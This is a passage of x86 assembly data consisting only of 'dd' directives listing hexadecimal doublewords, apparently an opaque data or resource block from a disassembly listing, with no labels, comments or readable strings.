dd 0E5004A94h, 4BD88DC3h, 50C59086h, 99CBCBBh, 23BD67C9h
dd 0EB6FAC80h, 0AF730D0Eh, 1FD7B02h, 48030CD5h, 8002F1C4h
dd 0E22404D8h, 0B4606469h, 210593D5h, 659124A5h, 3F4BF701h
dd 0D437A14Ah, 0FD00E531h, 9E1B6EEh, 1275108Eh, 7B42981h
dd 808803ACh, 0A008AB5Ch, 0D1E0B600h, 0DD04B8F7h, 1C25025Fh
dd 8D5213CEh, 9DAFC460h, 0C426E300h, 0D0033C3Dh, 70B00224h
dd 0F6522DDCh, 0C43F54C4h, 6F3700CBh, 0C78D0495h, 9067EE35h
dd 60A67EE4h, 0C63BA806h, 964A6B84h, 0E641F3A0h, 873500DAh
dd 49E31916h, 0B000F4EAh, 5108BED9h, 0B1FC8162h, 36CF0008h
dd 6EA8AE9Eh, 20110522h, 0BF01CA4Dh, 36292BB0h, 0DDCC438Eh
dd 2356003Ah, 8B4426A4h, 24263549h, 400262Bh, 1AE73D0Fh
dd 9E9226B5h, 7ED40C4h, 0C890D5B0h, 67111E0Bh, 0B58800EFh
dd 138299Fh, 0E1FAA010h, 0D8830971h, 5E0952D1h, 8097F1E5h
dd 0FC2F1BBCh, 5CF43A9Ah, 1F80FE3Ch, 937B5E59h, 2379B686h
dd 9E516900h, 0DB6E33CCh, 0ACB00729h, 8A4DD9A7h, 6AA88098h
dd 0BA84710Ah, 6B074E00h, 0BE590F37h, 3C1D1C3Dh, 7BA64158h
dd 0D4E73839h, 760047D4h, 4FAE2DE3h, 0F6B5DA42h, 16CE0695h
dd 20F004BEh, 0D912C300h, 0C65D8E1Ch, 559D02DFh, 57D7A04Fh
dd 23E2E980h, 1502EC09h, 0A35DEA89h, 3388808Ch, 45E737h
dd 3438869h, 11832FFBh, 5E002BB0h, 0BF1FA9C1h, 2C32E370h
dd 3D6C3715h, 3D00EE58h, 0F4017ED2h, 0E30EBCA8h, 0E0362705h
dd 0ADBE03FEh, 0DD8D006Dh, 6EFF9F3Bh, 7B75BA35h, 5E32401Fh
dd 0E9012CA9h, 0BA0CEF34h, 0AB4118E6h, 80D23181h, 6BC6B58Ah
dd 736C006Fh, 0E9C3934Fh, 601FEB52h, 0ABC71845h, 2637A442h
dd 0D2E3A930h, 284B0ECDh, 0DA67C458h, 0D3E1D3B1h, 40A42DA1h
dd 4060F8B0h, 73991D00h, 67E053A9h, 0EF5419A6h, 0DCC620A7h
dd 28A87668h, 0B87944F2h, 91E56621h, 64190049h, 0B5762C40h
dd 0DC30004Bh, 0AB1575F5h, 8F06F017h, 49AE1A43h, 0C951A0D9h
dd 402800D9h, 0D40F5B07h, 2B3013A9h, 0E4E719Eh, 0D640216h
dd 0C19A0196h, 7F7637E0h, 0E1C6950Fh, 14641E59h, 83A86D94h
dd 98B322D3h, 5A94351h, 39DCC20Ah, 70B83FAEh, 0A2B26800h
dd 0BD172FAh, 0D8702EC2h, 8FA607A4h, 9980BFF7h, 0B045DC9Ch
dd 0BF7E1E00h, 0FAD551C1h, 0FE4300C6h, 0CD69CF7Fh, 9A00CB86h
dd 0FD1CCC20h, 0B11695h, 0DF2A01A1h, 86B33B6Ch, 0CCD1E200h
dd 0AAB04952h, 0CE0800C1h, 66773C91h, 0B3EC307h, 3A7B8065h
dd 13943D2Bh, 1C8139E6h
dd 0D8495180h, 0F47EBEA4h, 0C1C95000h, 0FE6FED02h, 96CA00A6h
dd 44979215h, 370066D1h, 51E1F680h, 2E349Ch, 7DCB4781h
dd 0CC8FF74Dh, 0E7D33E00h, 0B7A129ECh, 0E31400B5h, 0AEC0FB33h
dd 0E5007522h, 47041B01h, 0B3A41Fh, 5F8657C5h, 8C25F66Ch
dd 0F37D5600h, 321875B9h, 7AC171D5h, 0CC25B857h, 2BA09F69h
dd 0A8A9000h, 5DFE9C8Fh, 846F0116h, 582FEC59h, 0A8DA30B4h
dd 20CF3Ch, 6864CBF2h, 0FEF1B9h, 168E823Fh, 66023995h
dd 800A8D3Eh, 0BD1D842Ah, 0B10BD5h, 3C73CD8Eh, 0DFA83A4Ah
dd 24202D00h, 0EFCA4570h, 57AC8h, 5222A7DAh, 87CCCDD5h
dd 0E7D71300h, 0F30F51FCh, 0E2650086h, 1BEBF9F4h, 0BB00DE15h
dd 842B20C4h, 0E03DFBFFh, 8FA8A0A2h, 0BF8070Eh, 30648098h
dd 323B28CCh, 8C89AE28h, 5EFEBA07h, 0B55674EAh, 0C65902FCh
dd 859955EFh, 1881D760h, 7253B00h, 638820A6h, 37031558h
dd 65009492h, 0ED478CDFh, 51008AF7h, 0C817FFF4h, 399B7A34h
dd 0DF00503Ch, 0A1537079h, 0D24E382Dh, 2F1C2F0h, 0F446AA48h
dd 84808A14h, 0CCD46116h, 5380A8ADh, 51D4F47Ah, 60810378h
dd 0FC6712C9h, 58B20C90h, 0DFFB3A09h, 0A1042CE3h, 0AFCC0396h
dd 0C18605F5h, 33F955CBh, 20CC4607h, 393F3CEAh, 62E80FBh
dd 0AE319D49h, 9CA40Dh, 30DAE627h, 0EA8429CFh, 6E090A01h
dd 6522AF40h, 0CA581822h, 0B3879E0Ah, 602300A4h, 0D235FF8Dh
dd 0FB27A828h, 0C4032D2Ah, 469C9D00h, 8AD0EFE5h, 0BAF80792h
dd 0B1C76277h, 0F0F1805Fh, 0D200B347h, 6420BE43h, 3F63F4DAh
dd 0D7874AC9h, 806518C1h, 0EEB5CD19h, 0EB0AEC00h, 0F872CE7Ch
dd 3EDFF63Fh, 17DB4BEh, 8CB7EA4Ah, 0FD4C5AD1h, 9117C014h
dd 84F25201h, 88635429h, 6440DAC5h, 560EC5h, 317E1137h
dd 8498667Fh, 4676AE06h, 0E0E43Eh, 0D83036A7h, 1A129B33h
dd 0B7FEF8ECh, 920E7B05h, 0A41E932Eh, 0CC4E4080h, 14893B8Fh
dd 3851CF6Ch, 43A28731h, 62508EE0h, 206F60C4h, 8560B2h
dd 8202775Dh, 9B640670h, 79195160h, 413FFC3h, 0C1F753F0h
dd 63460048h, 18CE7Ah, 0F1AD702Eh, 23EB77B8h, 2AD8ED13h
dd 2C2411h, 4AFE8E13h, 353DF73h, 95D1BC45h, 4024E2B7h
dd 48079C72h, 0F4F05A47h, 0D5977Eh, 0AE41ECA6h, 0CA93CE36h
dd 94B37B12h, 4680041Dh, 4D47E4F0h, 350F0001h, 783929CDh
dd 0E301E641h, 0D2CCABF7h, 3824B75Ah, 6CCF1EEBh, 724808Ch
dd 218EF6BAh, 3A08854Dh, 70719C74h, 0C8D89840h, 182DDA5Ah
dd 4CF30E62h, 0F501F6A8h, 0B513B0D5h, 0ED300A9Ah, 9A200C8h
dd 0AA27C326h, 0B101E296h, 0B00DCE22h, 0A8800BDDh, 0B2385065h
dd 0A284DB9h, 3018CCFh, 78F44E90h, 0A9C032C7h, 9EC5004Fh
dd 0CBFA7101h, 880E91ACh, 0F7265AFh, 0F9407D29h, 0B93B1E77h
dd 82C20233h, 50B6FFFCh, 0FEB32040h, 0A0C72A00h, 0F1CB4315h
dd 61B0D2h, 56A27862h, 0DF5F1B24h, 53E90103h, 0F82C1FEBh
dd 99077Fh, 0BAEAC84Eh, 0DCAAA6E1h, 84021EF2h, 8E8B7DD5h
dd 47D760FBh, 6F1039BEh, 2C51A60Fh, 0EFE6EEA0h, 9570ADA0h
dd 7981F000h, 0E92B0F49h, 0ECF4032Ch, 0FF903C72h, 85F54007h
dd 9D20B303h, 600421h, 0FE1F79CDh, 0CF26A356h, 6E6BB503h
dd 916ABA03h, 0B820B45Fh, 99F0248Eh, 158F3B98h, 3940A48Dh
dd 3560016Dh, 0F563C407h, 0BF8C3Eh, 0E2F2D7F9h, 46ED1D8Ah
dd 2D9E0097h, 57CA66EAh, 4077D800h, 7DB681ECh, 3ED32461h
dd 1EDE80D8h, 6606966Bh, 0FAB16501h, 10778416h, 800DC343h
dd 0F5A3DDh, 48EDB9D6h, 11498A82h, 0D974B7E2h, 0D23F6D01h
dd 0F19AA4A2h, 3EBA60CCh, 5881A835h, 70EAFA01h, 65B7EC40h
dd 98775303h, 0E928E934h, 0B880BCD3h, 540CBA89h, 790B5B82h
dd 0FCF6CDA0h, 6A670545h, 7C308015h, 80909A99h, 5A61EF12h
dd 0F6232900h, 3E5CF893h, 3E3D3BD5h, 0ECBBA4h, 3A3079DEh
dd 0C575AD9Ch, 0E8FA4900h, 8C9F6BA5h, 39C4980Eh, 5A808025h
dd 7E452A1Ah, 77309C35h, 878D4086h, 98EC0373h, 9ECB053Ah
dd 0EEBA800h, 2E02EAF7h, 0B0CC5180h, 0E24C24h, 8E490C35h
dd 0D537CBA4h, 2E7E0A1Fh, 5BD48C9h, 0E80062Ch, 7E805E8Ch
dd 9DD012B6h, 34E44C08h, 0D3A10E39h, 3DF830CEh, 2C6B161Ch
dd 3B85E807h, 9E07F550h, 0E0FF0037h, 0C877554Dh, 741C5BC9h
dd 0EB804FFBh, 7DC07125h, 2C6CC0EEh, 91E47622h, 8C1D5Ch
dd 3B93E75Ah, 78CECB7h, 37804164h, 0EF7E3013h, 0F9054B46h
dd 2FC19A19h, 33AB3080h, 18389823h, 0D8732B91h, 0C900BF12h
dd 3A50F536h, 2EC6D666h, 8010F0EEh, 77AFFC65h, 2677A1C3h
dd 184CA530h, 114245h, 6BCF4719h, 0FF1033B6h, 2CABA00h
dd 14B173C8h, 76A4A08Ch, 0A81900E7h, 0B649F461h, 7B01F92Fh
dd 0B815A16Ah, 88807EE0h, 0A3A46F3Eh, 0D105AAB4h, 0EAE45B7Fh
dd 5E507880h, 0EDBA0065h, 0A49AFE55h, 471709DEh, 1812719Ch
dd 0DA91C821h, 0B08020h, 0DDB5FECEh, 44C87967h, 0BAF24800h
dd 995BE9Eh, 31CB128Bh, 14F461F0h, 84EE87Dh, 29ACFE50h
dd 4DF22000h, 9C90641Ah, 58CC985Fh, 983A9312h, 43C4100h
dd 74B655BBh, 0D6BBD1Ah, 18CC859h, 9CDA3B38h, 4EB34807h
dd 4DF40D0h, 7674DE83h, 88283307h, 0A530B0BFh, 79E21D6Ah
dd 2BC50326h, 7D5360D4h, 394F8B90h, 730260EBh, 67FF800h
dd 0CADB9F62h, 3AEE608h, 16A52C7Ah, 782E97BFh, 0EF42D468h
dd 61988FE4h, 0FCA2DBADh, 870DD88Eh, 796F741h, 2C42365h
dd 0E4C04611h, 59A5E094h, 92307CD1h, 75D00378h, 4767B6A6h
dd 0EF5E4380h, 0C06A5900h, 0C9A0562h, 0C1B00024h, 0FCF6A772h
dd 840BE24Eh, 80CDA333h, 2B57CC0h, 0AE7631A0h, 0DC2DA6E0h
dd 3300ADF4h, 9F5B1DBh, 1E1898h, 0FA02B424h, 380A48ACh
dd 38320D4Ah, 140458Dh, 0FEA86B47h, 0E90CE00Dh, 0AC3F0773h
dd 0E3DC0B37h, 0DD1CA0CCh, 7DFBE82h, 84128A2h, 38C8D03Fh
dd 60C00C1Ch, 0CB6A9CBCh, 0CC065D6Eh, 0F678B600h, 0FA7B438Ah
dd 0E3BF9803h, 0E8826E10h, 2B39587h, 462ED50Dh, 50E2279Ch
dd 90A7982Bh, 0D0B4644Fh, 7DA77830h, 880EDF74h, 0C0EA867Ah
dd 8C2A1B46h, 33312CDAh, 8DAF00E4h, 284DADC4h, 0DEF79502h
dd 64F42E29h, 0C510984h, 0C446A40Fh, 345FB8C0h, 781246Bh
dd 0EBD714C4h, 49BC12Ch, 0A6E87110h, 9486D838h, 0E12A54h
dd 2EE1C92Ch, 0B63EB313h, 0DA8A3A0Bh, 3C10B897h, 231F0010h
dd 0F047C459h, 6926A556h, 810960ACh, 0F494D5h, 0ED244177h
dd 6FCCA78Ch, 0A6295D00h, 98F07158h, 85C100FCh, 2B8BA392h
dd 4012D9F3h, 0AC305B19h, 14EC33B5h, 0B0B0478Ah, 71506C24h
dd 0B03309h, 314B7BB0h, 9E32BAh, 1F7551C7h, 2CEE5594h
dd 84E7CD0Eh, 803F49ADh, 4AE7E44h, 891F0015h, 316D6ECCh
dd 0A2026436h, 90B81E53h, 84ACE086h, 0A8F9034Ah, 809A8A5Bh
dd 7094B299h, 0E00E6FFh, 0B7BED1E7h, 44D8E62h, 0EF1255A6h
dd 0F6708109h, 79D0A699h, 0EA8A5700h, 1A0708D7h, 0B6FAB8FCh
dd 0AE8724C0h, 50D81963h, 4826A87Bh, 5AD0033Bh, 3C6A73C4h
dd 0FD37A998h, 16709A3Fh, 6C0233DCh, 48A69C57h, 182E26E4h
dd 0B0B8F23Eh, 5B04C032h, 7CFA28Dh, 0F43068C7h, 0C68E16h
dd 1A1CB8A7h, 38348986h, 826AD500h, 90C1C0FBh, 0B94F3B18h
dd 3000F7BAh, 0FF20F5B0h, 813274Eh, 541429A9h, 49804D70h
dd 7E60432Ch, 4DB69F01h
dd 0A4A1E63Eh, 20A6DECh, 0D221397Fh, 6C510B8Bh, 0B2621203h
dd 9548B815h, 94AD01D9h, 8F1B02BEh, 1EE03F6Fh, 823F06F7h
dd 71CE13DAh, 7F01B899h, 67119B6Ch, 180C9875h, 887001E2h
dd 1FBFFC4Eh, 0C78540A8h, 60A62E8Ch, 451E20EEh, 0C64B867Bh
dd 36A90068h, 48CBFD26h, 0A0014DFh, 29A76BC8h, 0CE07A2A9h
dd 1C5A4389h, 0C06862C3h, 9636E3h, 0F7ED7888h, 8C77CA92h
dd 0A8ECEF30h, 5998ADA8h, 0B752417h, 5C998A74h, 8DD2BC00h
dd 0ED075DDFh, 0F9B8D3F8h, 0F660B047h, 27253Ah, 0FEC69321h
dd 0E4F563F3h, 54F97900h, 0E73AD2BEh, 0A0B260FBh, 0DBCA4CDDh
dd 874F4600h, 0B35A5BFFh, 47E400F4h, 7A6FF018h, 504C0351h
dd 5E7B0194h, 0B4E613DBh, 0CD00F028h, 0F25CA4CBh, 142787E3h
dd 1CD800D3h, 0B952766h, 92051291h, 38201089h, 4CE8610Ah
dd 941B4F02h, 522602A0h, 7F090024h, 0A1C1DCA2h, 0E60373DAh
dd 9CB1C78Dh, 0C4DF1DFh, 1C525430h, 0BCA5B0FEh, 8097229Dh
dd 3935B6F3h, 567A54B1h, 7770DC01h, 4D142132h, 24007433h
dd 0FA848D1Fh, 5B0B7765h, 0A080A50Dh, 0DFE215A8h, 0F8070059h
dd 359A78BBh, 8201C3EBh, 99443F16h, 0B8EF2790h, 0A06181h
dd 2113E15Ch, 40BB33E5h, 0ED4EA100h, 0F229FEB1h, 992C00EAh
dd 0CFD6EC96h, 8CE23D4Dh, 8B874200h, 0D96D077Bh, 0C875025Ah
dd 0B35EF9FDh, 8D006374h, 0F5E9DD98h, 5A3D0057h, 4314C2A4h
dd 580035F0h, 5DCD2261h, 7DE9FCB4h, 1BA500C1h, 3580682Eh
dd 0E6F42651h, 0B4022003h, 0E0D0C999h, 0BC6DCBh, 455C10AEh
dd 6CEFB697h, 0A3807061h, 99F4592Bh, 7AC30019h, 7D358C05h
dd 7B00A45Bh, 6FD1883h, 38EBD40h, 80D1D2E2h, 36A0A7DCh
dd 0FF1D7224h, 0CB9FAB10h, 0E1F0A840h, 0F77009h, 5AE358BEh
dd 0C89EC1DFh, 0B13F6800h, 2D8FEC51h, 0BB2138BCh, 577CF7h
dd 0DC05E80Fh, 0DDBA612Ah, 0A700DAF2h, 6946672Ch, 4FCA3Ch
dd 0F5B4E78Bh, 0A6E2366Fh, 0C540D100h, 5FF97D0Bh, 8CE500B5h
dd 29EC0CFDh, 0D7FA73C8h, 1F6AC607h, 0B591A9BAh, 8D70A4B1h
dd 2E79ACh, 50824A0Eh, 53F1B093h, 0F64FF000h, 7D33E983h
dd 596E3AD6h, 0F5DDE380h, 6FF3A3Dh, 0E4E79A00h, 0FDA7E522h
dd 669828D0h, 0BAFB03B6h, 4BB8149Eh, 0F47F26D9h, 0CB7A340Bh
dd 325AB107h, 73D01AC7h, 20339Ch, 87404689h, 94142B2Eh
dd 41562200h, 1312AA34h, 18D102AFh, 98EF5D73h, 5D47660h
dd 2C00907Eh, 27076B0h, 47CCDAh, 222F8F1Ch, 9C6B823Ah
dd 76525D00h, 1FC891CFh, 0A09E000Fh, 0CD536A04h, 0D90051BFh
dd 94F10A67h, 0E08DC10h, 1A34557h, 0C08D2680h, 2E096D16h
dd 801A63AEh, 0E51F623Fh, 6BB500AAh, 492D910Eh, 0D43B5165h
dd 0A63F1F5Dh, 0EB929880h, 0F8D1F36Dh, 39550064h, 0A1C39ADFh
dd 0DE000352h, 0CFA0FB62h, 21821Eh, 765D0E79h, 0D6EFF640h
dd 50B14A01h, 0D9B24253h, 0CA693880h, 9FF03715h, 47009375h
dd 300E3383h, 4EFD13h, 222B8ABh, 0F3A3C929h, 89001D73h
dd 5DC1CD8Dh, 0E19E680h, 166C7B81h, 0ECCF1C00h, 3600543Eh
dd 0F084607Dh, 0F3483Ah, 852E5F39h, 9DAF70CDh, 7BABB800h
dd 0A36B58E6h, 0F5C007D8h, 5F0504A1h, 37EF3980h, 0DB039853h
dd 0CA2CDDE8h, 6FC7E0FFh, 0C96407AEh, 80D3EC04h, 1DBBE7C4h
dd 882CE6F4h, 0E80222A0h, 0E01ACE59h, 7B4F82Bh, 0B121F342h
dd 7009FE6h, 0BE8E35AEh, 1AB2E00h, 24706020h, 0CC60085h
dd 48FE282Bh, 6807CCF0h, 3DF418BDh, 793AC00Fh, 6A1735h
dd 306E50FBh, 0C1E13399h, 9B3DF00h, 79908AD9h, 528A414h
dd 0F4167E42h, 6C26D0ABh, 350F6A5Ah, 4083122Fh, 0AAB3D7F3h
dd 0E873071Dh, 0B04B8F3Ch, 2AA148F9h, 4ACEB501h, 0BC3170A8h
dd 0E3F4BF61h, 8A513E98h, 43D68787h, 16AAC728h, 893E4075h
dd 5941002Eh, 0E098DFE3h, 310A47Eh, 2E3DB312h, 0C7A84F5Bh
dd 0C9001D38h, 0C4041EFFh, 0AE68F3h, 833073C6h, 62A578C0h
dd 54DA9E00h, 3A927A8h, 0EA7901B3h, 8074FAAEh, 0BAC7F046h
dd 0AFDCA001h, 4FE20247h, 24562880h, 0DA7E2FA6h, 9D018DF6h
dd 0E1577614h, 38EC5070h, 0B9C10A24h, 4098782Ch, 0CFB38DB4h
dd 0BCDD8400h, 4640E34Eh, 34877789h, 208EFEA7h, 82E953ACh
dd 71AC4430h, 0F1D7EDEh, 64411056h, 0E02955C7h, 0D40FB85Ch
dd 66340301h, 9EB040Ah, 0ABBCFCh, 942AE686h, 2E8E0FE4h
dd 0AD50EF1Dh, 8BC62100h, 0FE37D510h, 2360B19h, 8800E94Ah
dd 0C9BAC108h, 2D855100h, 8321B79Bh, 0E99700C5h, 7440891Ah
dd 2403BDC0h, 0D35AAF60h, 0CA810094h, 9B04D545h, 5D3F396Ch
dd 44B600B3h, 0C466EC08h, 0A3E51CD8h, 0A75E814Ch, 0C8E12DF9h
dd 0B37BCC5Fh, 0EFAF6700h, 5E16A43Ch, 808A0022h, 29C752D3h
dd 0F9F2597Ch, 1E153Fh, 7779A491h, 0BBD7D9h, 3EC8E67Ah
dd 13689489h, 0BA93A000h, 4B149245h, 82FC11h, 3AD7CBC2h
dd 21CCD82Ah, 25396090h, 0D4F0C144h, 9AEE00AEh, 272C909h
dd 371417F7h, 82F0305Fh, 0A0D59252h, 0B2940EC4h, 0E5DC3E68h
dd 45E051E8h, 50F07089h, 0D50066B6h, 0E1294FB7h, 0F8A960F2h
dd 0EE2700FEh, 6E25D0E5h, 0B4FC8253h, 6DA1B00Fh, 0C43D00D1h
dd 8E0770h, 8FABCDBh, 591C9A0Ah, 19F99B01h, 0AE3951E1h
dd 28A8388Fh, 22BA9D80h, 0AB60B636h, 0F05EA998h, 5DD0093h
dd 7B0E8678h, 0CC00C14Fh, 423AF914h, 0FCE587D7h, 44B1002Fh
dd 418A2DDAh, 9D095170h, 80B52B5Ch, 0F412682Ch, 204700B8h
dd 2DB6C83h, 6D00EE7Bh, 0D63C3AA2h, 0EC2C7350h, 0B00E78D2h
dd 111500B6h, 0BD9A7EADh, 2B504B7Bh, 907FC9Ch, 96FADE29h
dd 87275980h, 6E160083h, 6CB8EAE6h, 8F39C864h, 8722648h
dd 0F75EE100h, 0C6653Ch, 5C12BFFAh, 8E42B1E8h, 0A45413B0h
dd 6F142190h, 1289CB56h, 740216AAh, 83E09ADEh, 0A8A19DD0h
dd 0F69610ACh, 8212023Ah, 35D1E97Ah, 0D06E1940h, 810121FCh
dd 0B60B90Ch, 796014A1h, 9E8A0040h, 194DA72Ch, 8B24CF6Ch
dd 0E4281C63h, 0F8429C00h, 0AA3F12C9h, 0CEA00003h, 91DC05Ah
dd 0C400B039h, 4AFA77B2h, 4D4F10E5h, 630FEC8Eh, 0E480526Bh
dd 0CBD6124Bh, 4849C078h, 0F50D0070h, 931F967Ch, 0C84F5054h
dd 0C65F0769h, 0DC562861h, 0F1003110h, 26F690ACh, 0F4159Ch
dd 6D453518h, 0FCEB7124h, 0AADBBC06h, 14E45C56h, 0B453FEDCh
dd 80E8342Bh, 0B513A70Eh, 0FC00BCA4h, 5F4561F7h, 0DF89BDBFh
dd 7426003Ah, 14B27D43h, 0F0A29728h, 5DAF0600h, 0B005E3F8h
dd 0C493506Dh, 0F1260098h, 8B94852Fh, 90021D65h, 46B90D59h
dd 0F8A0A0C1h, 30C8BB41h, 4C1BE25h, 6348A516h, 0ADCF86C8h
dd 0C79D04F9h, 97DCC577h, 0C9C61408h, 5EEEDCE4h, 0A7321613h
dd 102E1C01h, 88848F9Dh, 0BE91D0B8h, 5F5CFDC1h, 23A04Ch
dd 0FF4DCAC5h, 0D5A19C2Dh, 0BD0F607h, 885D7714h, 2770A600h
dd 0A5CBE2F9h, 41E500B4h, 0BB86504Fh, 347DEE1Fh, 0FA3ABCC0h
dd 2C92BEFCh, 37C2611h, 41F456Bh, 0C86864EDh, 41C0BCD8h
dd 45FB4850h, 6D1306D1h, 218CF90Fh, 0BE2E17F4h, 0C6002C36h
dd 0D6341F7Dh, 319D2B8h, 10F39CECh, 0C58A4E88h, 3C4B4F00h
dd 9B1382ABh, 4A280017h, 83F93145h, 0CE00E45Eh, 0F52D37C3h
dd 2439073Ah, 4AD8F264h, 86802520h, 0C73A7362h, 1F38D800h
dd 8DB0F34Ah, 0FCF40D06h, 0ECC949A3h, 3D141885h, 1ACCC9Ch
dd 748DDE2Eh, 0E84088D3h
dd 0AA3EDA4h, 6D05FB0Eh, 711C04FCh, 707441DDh, 11E8965Ch
dd 16590AA7h, 20D46004h, 43E02582h, 220001F6h, 76F14AF4h
dd 0D69500D9h, 8DAE33B6h, 0D001D507h, 151EA9B9h, 4C4D3D62h
dd 0F4308031h, 1E460077h, 409F3AABh, 0B8007022h, 1FE0D351h
dd 0E01112DCh, 0EFCB020Fh, 95E6C0DDh, 98F80663h, 6D3DF5AEh
dd 24290051h, 3B41D280h, 5E97182h, 0D4620133h, 29B38057h
dd 4483A9Dh, 82560018h, 0FDF35DA3h, 0DB5B0093h, 1FE41CA9h
dd 8C004A84h, 1D865888h, 3BBFAA2h, 5ADBA11Ah, 17F3CDD6h
dd 0D700217Eh, 0B794A522h, 707C4Eh, 0BA8DB8A7h, 60C9D503h
dd 0F1667100h, 0B122DA7Ah, 0F08F7A24h, 4B907E7h, 8090D2BFh
dd 161C8C3Fh, 0DE34F00h, 34841856h, 0B6118DCh, 0C2EB78F6h
dd 0BBC31318h, 64B1966h, 0FA98E58Ch, 2E002026h, 38FC6C60h
dd 2FA9D7h, 0E80F63Bh, 4D7C8925h, 0F5B63E00h, 168142C0h
dd 4E22009Bh, 0AB721A20h, 0F713E592h, 0FEE1864h, 4BA040B8h
dd 6BD64598h, 8B0A2B00h, 551E6402h, 894C075Fh, 806050ADh
dd 6BBC8038h, 0BD025A16h, 1805C1Eh, 0C68B746Ah, 0A51E4CCh
dd 411C7A53h, 0A8B10094h, 18A2E1D9h, 61B880E3h, 7AC76042h
dd 0C0A01D3h, 3A49691Fh, 0A9E0589Ah, 0B28FF400h, 0B187A11Eh
dd 4A5F002Eh, 8A7F7DB7h, 1602906Dh, 0F6A88417h, 36F0819Ch
dd 2210E3FEh, 34013CE7h, 209FF27Ah, 0E1811074h, 4FA2D52h
dd 7B7FF099h, 0D8CD3130h, 1737E455h, 0F03D54D4h, 0CC00986Dh
dd 1C955024h, 0AD4544h, 550258F3h, 0C3C0A6A2h, 0DC53F22Ah
dd 0A3C20800h, 12693927h, 23BF6B9h, 0A2037232h, 0A4986F35h
dd 561D190Ah, 90F03C8Dh, 6A6CB1h, 34B8E1F3h, 51EAECC0h
dd 34AE56Bh, 12531BB6h, 2C9A38E0h, 5003070h, 4E6AB926h
dd 4BC32Ch, 0BEA7B891h, 0A62351F7h, 6218C900h, 37BF260Dh
dd 5073006Dh, 4B1AE4C3h, 5F0B01B0h, 0AF4146h, 95F508DAh
dd 194E016Dh, 0F950371Eh, 0B5A440ECh, 6000E17Ah, 80799C25h
dd 3D94C381h, 8400A136h, 894D97AEh, 4000659h, 0CB734D2h
dd 0E330BEh, 0BB0758B0h, 8AE6AE14h, 95CBC1C0h, 3BFA50D3h
dd 76807A92h, 685F66Fh, 0F2986954h, 20106C13h, 118D0807h
dd 74AB00CBh, 37C6E91h, 18574409h, 0FE811445h, 107C2424h
dd 0EF92BC0Eh, 411E921Bh, 52E66B07h, 6890FE34h, 0E4924CEBh
dd 0CE6609ECh, 2C00B345h, 51C59376h, 35E85D0Fh, 9DC78091h
dd 87855Bh, 532C884Ah, 3B4316AFh, 0AA9A3D07h, 68A0BFF5h
dd 0F074ADA7h, 1C2A136Fh, 7633009Bh, 0A98E9259h, 5C015377h
dd 54DF3A6h, 0ACD434A0h, 0C7F000B4h, 2199323Ah, 5E063C80h
dd 67E66257h, 34953D38h, 0FBD2DC0Bh, 0D8466201h, 1DEAD0DEh
dd 73CDBE0Eh, 0F20BA00Dh, 347051Ah, 55DD75DBh, 0A2A04087h
dd 0E900F0D9h, 57F6CA35h, 7547491h, 0DFEB0AB9h, 539C706Fh
dd 0E00119ECh, 0A1DB60EEh, 0AF00C4Ah, 3260022h, 30643F40h
dd 0A9005CBBh, 0F28EFE33h, 7EAE32h, 0BA9775CDh, 9C215A70h
dd 649A1A00h, 4B753D0h, 0CAA61EC1h, 56F03B9h, 8BE07B3Ah
dd 80007522h, 95DA1678h, 7826A2D9h, 0B8401D71h, 4D584EB2h
dd 90F56243h, 77925FD8h, 530B5C0Eh, 55BF83CAh, 0C7DF982Bh
dd 0D7C82C9Bh, 729C032Dh, 65B879F4h, 2C01314Dh, 0A090711Bh
dd 0EDEC1873h, 0D1F624h, 617D0459h, 0A5FBFC9h, 84163800h
dd 9AF9C380h, 758E00E2h, 0EC88A587h, 0FB38E033h, 0C269807Ch
dd 3E58A34Dh, 642E2C6h, 330AE6E2h, 16605856h, 6B57E319h
dd 0F72201C7h, 79679D2Bh, 0EF44F486h, 0DFD228C7h, 0BE30E00h
dd 0E5BB00ABh, 7C1A9E8Eh, 0E400B880h, 44B310ACh, 5EFE9F1h
dd 3E980812h, 8636C094h, 0A305B139h, 54FD8576h, 615E8380h
dd 496B0088h, 0D0D8126Ch, 0AD076EEDh, 0E61CC96Ah, 0BBA976C3h
dd 0CE2DC810h, 4A7E011Eh, 888A638h, 7A96CC6Fh, 0FAF3A001h
dd 0D1E8C25Eh, 1DCEB170h, 833EACh, 45D39416h, 9300A7FFh
dd 28D1D697h, 0E6206D7h, 0DB7ED30h, 4CAECBA0h, 0E8EAF518h
dd 14002398h, 0C3607CFFh, 9762355h, 5BA298B2h, 8035D5E1h
dd 71E6E852h, 0FECF64F5h, 3FDC0143h, 0DEC3A10Bh, 0BE0730AEh
dd 6E770800h, 679F708Bh, 0E17FF2h, 0ED6197FEh, 9BFAA02Ah
dd 4E00DB79h, 0AFF705B0h, 12680Fh, 360B593Dh, 9080A5E9h
dd 0F45A2C00h, 0F09A77C6h, 53540009h, 0D949CE8Fh, 97A076DFh
dd 0E939402Ah, 21E0012h, 0CDF15D9Fh, 69820034h, 0C3B03DA7h
dd 0F5E4560Fh, 7A2E6200h, 0D5A02FFFh, 0F3BF00AFh, 0DD6393ABh
dd 9C003618h, 0CA3BD8Dh, 0E76240Fh, 0F8F4CF5Eh, 725BA400h
dd 0A600502Fh, 0C30BEDCDh, 19FC227h, 0B66AFD8Dh, 0BC561532h
dd 57ED01A1h, 868BDC64h, 0F709EEh, 3770F123h, 0C2E30241h
dd 79D7745h, 507DAB80h, 0AE03B45Eh, 0EC183C0Bh, 9BD1D88Dh
dd 11C91E63h, 0A096039Ah, 30E7CC39h, 82577945h, 9C9A54Ch
dd 0F49528F7h, 76D200D4h, 0B0876D55h, 0A88D95A0h, 6BB8F700h
dd 0D58E5ADAh, 135E0E08h, 41ACE433h, 5F0092B0h, 2F259051h
dd 4C2762E7h, 4600EABAh, 0B38B6D04h, 0EF00B587h, 0DFF889Eh
dd 0A63D02D5h, 745E07DCh, 231B7F13h, 4D81C91h, 66003002h
dd 0A64CCA8h, 0B518A3h, 710CA1CDh, 4A5E5B81h, 0EB2C0209h
dd 0B8807FB1h, 0C3BDAECCh, 0B4780E00h, 0FB7DC19Bh, 1A703CF9h
dd 86F3DF80h, 38CC6B1h, 50C002E8h, 8A8F2746h, 7DD20070h
dd 0D4D3CB6Dh, 0CA006529h, 8CF8EF4Dh, 14B061FEh, 0AC1F36E4h
dd 16F5F0C0h, 0CE7190CBh, 0A0A11C7Ch, 0E1BCF083h, 3A57F403h
dd 0B01F7561h, 0AE525Bh, 21CF7024h, 0A699D096h, 0C4865F0h
dd 2ED700B8h, 4BB98B8Dh, 18E439A8h, 767BCF80h, 959C75A3h
dd 0B777DC00h, 0DF8CFBF1h, 0FCA60035h, 0E46BB947h, 0EEF062CFh
